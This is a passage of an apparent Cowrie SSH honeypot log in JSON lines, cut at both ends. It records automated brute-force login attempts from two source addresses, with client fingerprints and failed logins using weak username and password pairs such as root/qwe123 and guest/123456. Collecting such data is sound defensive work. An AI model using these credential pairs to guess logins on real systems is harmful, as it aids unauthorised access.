e-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:31.316895Z","src_ip":"159.203.92.129","session":"5199e9d641c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1qazXSW@","message":"login attempt [ansible/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:31.327924Z","src_ip":"159.203.92.129","session":"5199e9d641c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:32.162580Z","src_ip":"176.65.139.103","session":"568fae32664d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:32.333721Z","src_ip":"159.203.92.129","session":"5199e9d641c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49326,"dst_ip":"10.17.0.5","dst_port":22,"session":"27dd05e8260e","protocol":"ssh","message":"New connection: 176.65.139.103:49326 (10.17.0.5:22) [session: 27dd05e8260e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:36.408384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:36.442348Z","src_ip":"176.65.139.103","session":"27dd05e8260e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:36.515136Z","src_ip":"176.65.139.103","session":"27dd05e8260e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:36.980614Z","src_ip":"176.65.139.103","session":"27dd05e8260e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:38.070361Z","src_ip":"176.65.139.103","session":"27dd05e8260e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49340,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ecfb6e13ed7","protocol":"ssh","message":"New connection: 176.65.139.103:49340 (10.17.0.5:22) [session: 7ecfb6e13ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:42.754401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:42.759333Z","src_ip":"176.65.139.103","session":"7ecfb6e13ed7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:42.842512Z","src_ip":"176.65.139.103","session":"7ecfb6e13ed7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:43.214839Z","src_ip":"176.65.139.103","session":"7ecfb6e13ed7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:44.323277Z","src_ip":"176.65.139.103","session":"7ecfb6e13ed7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50366,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b9fcacf3ac3","protocol":"ssh","message":"New connection: 176.65.139.103:50366 (10.17.0.5:22) [session: 2b9fcacf3ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:49.108362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:49.113189Z","src_ip":"176.65.139.103","session":"2b9fcacf3ac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:49.197259Z","src_ip":"176.65.139.103","session":"2b9fcacf3ac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:49.449763Z","src_ip":"176.65.139.103","session":"2b9fcacf3ac3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:50.683780Z","src_ip":"176.65.139.103","session":"2b9fcacf3ac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54660,"dst_ip":"10.17.0.5","dst_port":22,"session":"341fb1f27b37","protocol":"ssh","message":"New connection: 176.65.139.103:54660 (10.17.0.5:22) [session: 341fb1f27b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:54.938563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:54.943590Z","src_ip":"176.65.139.103","session":"341fb1f27b37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:55.026360Z","src_ip":"176.65.139.103","session":"341fb1f27b37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:55.424619Z","src_ip":"176.65.139.103","session":"341fb1f27b37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:32:56.585245Z","src_ip":"176.65.139.103","session":"341fb1f27b37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54666,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d1c5adde411","protocol":"ssh","message":"New connection: 176.65.139.103:54666 (10.17.0.5:22) [session: 4d1c5adde411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:00.941711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:00.946161Z","src_ip":"176.65.139.103","session":"4d1c5adde411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:01.027912Z","src_ip":"176.65.139.103","session":"4d1c5adde411","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:01.416364Z","src_ip":"176.65.139.103","session":"4d1c5adde411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:02.501668Z","src_ip":"176.65.139.103","session":"4d1c5adde411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48616,"dst_ip":"10.17.0.5","dst_port":22,"session":"f407b41bf59e","protocol":"ssh","message":"New connection: 176.65.139.103:48616 (10.17.0.5:22) [session: f407b41bf59e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:07.229470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:07.234956Z","src_ip":"176.65.139.103","session":"f407b41bf59e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:07.334195Z","src_ip":"176.65.139.103","session":"f407b41bf59e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:07.716621Z","src_ip":"176.65.139.103","session":"f407b41bf59e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:08.812114Z","src_ip":"176.65.139.103","session":"f407b41bf59e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":43864,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4ca086b28e7","protocol":"ssh","message":"New connection: 176.65.139.103:43864 (10.17.0.5:22) [session: d4ca086b28e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:13.038581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:13.046133Z","src_ip":"176.65.139.103","session":"d4ca086b28e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:13.129906Z","src_ip":"176.65.139.103","session":"d4ca086b28e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:13.407776Z","src_ip":"176.65.139.103","session":"d4ca086b28e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36822,"dst_ip":"159.203.135.109","dst_port":22,"session":"9acd50d7b260","protocol":"ssh","message":"New connection: 159.203.92.129:36822 (159.203.135.109:22) [session: 9acd50d7b260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:14.413474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:14.422139Z","src_ip":"159.203.92.129","session":"9acd50d7b260","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sh